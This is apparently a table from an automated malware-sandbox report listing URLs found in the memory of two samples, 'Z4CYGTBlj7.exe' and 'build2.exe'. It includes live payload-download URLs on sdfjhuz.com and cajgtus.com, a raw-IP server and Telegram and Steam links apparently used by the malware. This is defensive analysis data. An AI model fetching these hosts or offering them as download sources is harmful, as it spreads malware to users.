https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=1_BxDGVvfXwv&am	build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://api.2ip.ua/geo.json$i	Z4CYGTBlj7.exe, 00000017.00000002.2449153648.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000017.00000003.2447602737.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.reddit.com/	Z4CYGTBlj7.exe, 00000007.00000003.2106638994.0000000003440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steam.tv/	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=c4UneKQJ	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonP	Z4CYGTBlj7.exe, 00000001.00000002.2022968559.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonR	Z4CYGTBlj7.exe, 0000000D.00000002.2188603291.0000000000597000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/N	Z4CYGTBlj7.exe, 00000017.00000002.2449153648.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000017.00000003.2447602737.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://sdfjhuz.com/dl/build2.exe$run	Z4CYGTBlj7.exe, 00000005.00000002.2567109403.00000000007F8000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000885000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000885000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://api.2ip.ua/R	Z4CYGTBlj7.exe, 0000000D.00000002.2188603291.0000000000597000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199673019888/badges	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://clients3.google.com/generate_204	Z4CYGTBlj7.exe, 00000005.00000003.2117505827.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.youtube.com/	build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/X	Z4CYGTBlj7.exe, 00000007.00000002.4453697653.0000000000717000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsona	Z4CYGTBlj7.exe, 00000007.00000002.4453697653.00000000006D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json=	Z4CYGTBlj7.exe, 00000017.00000002.2449153648.0000000000788000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=ZVlkBFZXqRp1&l=e	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149ta	build2.exe, 00000009.00000002.2284519794.00000000005F1000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.000000000051A000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://api.2ip.ua/A	Z4CYGTBlj7.exe, 00000017.00000002.2449153648.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000017.00000003.2447602737.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json4	Z4CYGTBlj7.exe, 00000017.00000002.2449153648.0000000000788000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.youtube.com/	Z4CYGTBlj7.exe, 00000005.00000003.2106724177.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27	Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000894000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000894000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000007.00000002.4453697653.0000000000763000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json0	Z4CYGTBlj7.exe, 00000001.00000002.2022968559.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/1	Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000850000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000851000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonD	Z4CYGTBlj7.exe, 00000017.00000002.2449153648.0000000000788000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/ramData	build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/;	build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/irfailAt	build2.exe, 00000008.00000002.2113477496.0000000003680000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://github.com/react-native-community/react-native-netinfo	Z4CYGTBlj7.exe, 00000005.00000003.2117505827.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.m	Z4CYGTBlj7.exe, 00000005.00000002.2567109403.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://95.217.9.149	build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://help.steampowered.com/en/	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/	build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://sdfjhuz.com/dl/build2.exeruna02b:	Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000885000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000885000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.amazon.com/	Z4CYGTBlj7.exe, 00000007.00000003.2106429231.0000000003440000.00000004.00001000.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/files/1/build3.exeGum	Z4CYGTBlj7.exe, 00000005.00000002.2570707602.0000000002FD0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2554383942.0000000002FC1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2563095014.0000000002FC1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.twitter.com/	Z4CYGTBlj7.exe, 00000005.00000003.2106667063.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.html	Z4CYGTBlj7.exe, 00000016.00000002.2436787677.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/stats/	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/test1/get.phpt	Z4CYGTBlj7.exe, 00000007.00000002.4453697653.0000000000717000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
